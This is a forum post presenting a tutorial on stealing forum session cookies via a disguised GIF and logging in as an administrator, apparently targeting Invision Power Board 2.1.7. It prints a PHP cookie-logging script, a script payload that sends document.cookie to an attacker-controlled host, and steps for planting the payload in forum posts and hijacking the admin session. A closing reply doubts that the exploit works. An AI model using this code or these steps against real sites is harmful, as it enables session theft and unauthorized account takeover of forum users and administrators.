Smile Steal Forum Cookies With Gif
How To Steal Cookies From A Forum With A Gif And Login With Admin Privileges Without Hash Cracking !
Use Firefox Because It's The Best Browser On The Web
U Can Download The ADD N EDIT COOKIE HACK HERE:
Code:
https://addons.mozilla.org/firefox/573/
Tested On Invision Power Board 2.1.7 <- And This Xploit Works On Much Boards !
Ok Lets Start Now
Here Is Some Files U Need...
1. ) -> Copy the below code,paste in notepad or ur fav text editor and save as cookiestealer.php (Note : Save it as cookiestealer.php not cookiestealer.php.txt)
cookiestealer.php
Code:
<?php
$filename = "logfile.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo ".";
exit;
}
else
{
if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
{
echo ".";
exit;
}
}
echo ".";
fclose($handle);
exit;
}
echo ".";
exit;
?>
2. ) Make a new text file and name it logfile.txt and chmod it 777 .
3. ) The malicious file fun.gif (It will redirect user to cookie stealer) .. Copy the below code and save it as fun.gif
Code:
<SCRIPT>location.href='http://yoursite.com/cookiestealer.php?cookie='+escape(document.cookie)</SCRIPT>
4. ) And a real image miniature (to show to the victim)
Ok now we have 4 files as listed below :
1. ) cookiestealer.php
2. ) logfile.txt
3. ) fun.gif
4. ) And a real image (any)
lets start now ..
Upload these files to your webspace example :
fun.gif (ftp) -> www.yoursite.com/fun.gif
cookiestealer.php (ftp) -> www.yoursite.com/cookiestealer.php
logfile.txt (ftp) -> www.yoursite.com/logfile.txt
ok now go on the victim forum .. Suppose victim forum is www.victim.com/forum/index.php
Post a new topic or reply or we can insert the malicious gif in the signature ... or where we can .. but now i do
a new topic with this bbcode :
PHP Code:
with this bbcode the victim don't see the fun.gif but the real image miniature and when he click on it ,he has a redirect
to the cookiestealer ... and we can see his cookies on :
http://yoursite.com/logfile.txt
when we have cookies we go to firefox and with the addon add n edit cookies i login with admin privileges... (first login with any user then edit cookies)
Now reload the page and you will logged in like the administrator

By the way, I don't believe, that this is an working exploit. This seems to be some sort of fake to me 
First of all, there are problems in IE and ONLY in IE, related to image parsing and possible script execution. And in that case attacker must be able to upload some jpg/gif picture to victim server and then IF victim opens that malicious picture (cut/paste pic address to IE url bar), THEN javascript can steal cookies.
But in this case, you described, picture is located outside of victim server/domain. So IF you can get cookies, then you will get cookies, related to YOURSITE.COM domain 
Or maybe there is something i miss 
Probably not  |
